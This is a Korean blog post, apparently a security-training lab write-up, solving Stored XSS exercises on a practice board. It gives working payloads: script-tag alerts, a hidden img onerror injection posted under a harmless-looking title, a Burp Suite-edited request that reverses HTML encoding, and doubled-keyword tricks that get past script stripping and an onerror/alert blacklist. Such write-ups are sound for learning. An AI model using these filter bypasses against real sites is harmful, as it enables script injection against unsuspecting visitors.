yon11b

[SK 쉴더스 루키즈] Stored XSS 문제 풀기 본문

보안/SK 쉴더스 루키즈

[SK 쉴더스 루키즈] Stored XSS 문제 풀기

yon11b 2026. 6. 27. 00:12
반응형

Stored XSS란?

공격자가 JS 코드를 게시글에 삽입하고 피해자가 해당 글을 읽으면 JS가 자동으로 실행되는 공격이다.

 

문제

5번

그냥 title에 <script>alert(’xss’)</script> 적으면 됨

 

6번

조건: 제목에 script 태그 없이. 최대한 정상으로 보이도록 해라.

 

content 부분에 다음 구문을 삽입한다.

<img src=x style="display:none" onerror="alert('xss')">

 

존재하지 않는 img를 불러오면 기본이미지가 뜬다. > 수상함 > 아예 안 뜨게 하기 위해 display:none을 써준다.

기본이미지 그

그리고 이 글을 등록하기를 누르고 중간에 burp suite로 잡아서 보면 태그가 인코딩되어 &lt; 로 나타나 있다.

그래서 이 부분을 다시 <, > 로 수정해서 전송해주면 된다.

변경 전

------WebKitFormBoundarySiOcLnCNgz8W1aL6
Content-Disposition: form-data; name="title"

새로오신분들 필독!!
------WebKitFormBoundarySiOcLnCNgz8W1aL6
Content-Disposition: form-data; name="content"

<p>&lt;img src=x style="display:none" onerror="alert('xss')"&gt;</p>
------WebKitFormBoundarySiOcLnCNgz8W1aL6
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream

 

변경 후

------WebKitFormBoundarySiOcLnCNgz8W1aL6
Content-Disposition: form-data; name="title"

새로오신분들 필독!!
------WebKitFormBoundarySiOcLnCNgz8W1aL6
Content-Disposition: form-data; name="content"

<img src=x style="display:none" onerror="alert('xss')">
------WebKitFormBoundarySiOcLnCNgz8W1aL6
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream

7번

6번이랑 똑같음

 

8번

엉성하게 XSS가 조치되었다. 해당 게시판에서 Stored XSS를 통하여 'XSS' 메시지를 띄우시오.

 

<script>태그가 content에서 먹지 않는다.

입력

 

중간에 잡아서 보면 인코딩이 되어있고

 

등록 후 조회해서 보면 아예 태그가 사라져있다.

 

 

두번째 시도 입력: <scripscriptt>alert('xss')</scrscriptipt>

그냥 이대로 전송한 걸 보면 이렇게 보임

 

중간에 잡은 걸 다시 제대로 수정해서 보내면 이제 태그를 아예 없애버린다.

 

script 태그는 어떤식으로든 다 삭제를 하는 것 같다.

 

다른 태그를 써보자 > img 태그

<img src=x onerror="alert('xss')">를 content에 삽입해서 전송해주면 된다.

 

 

9번

내 입력값

 

 

실제 출력되는 걸 보자.

onerror와 alert 문자열이 블랙리스트 필터링 되어 사라졌다.

 

그럼 이렇게 적어주면 된다.

<img src=x ononerrorerror="alealertrt('xss')">

 

 

728x90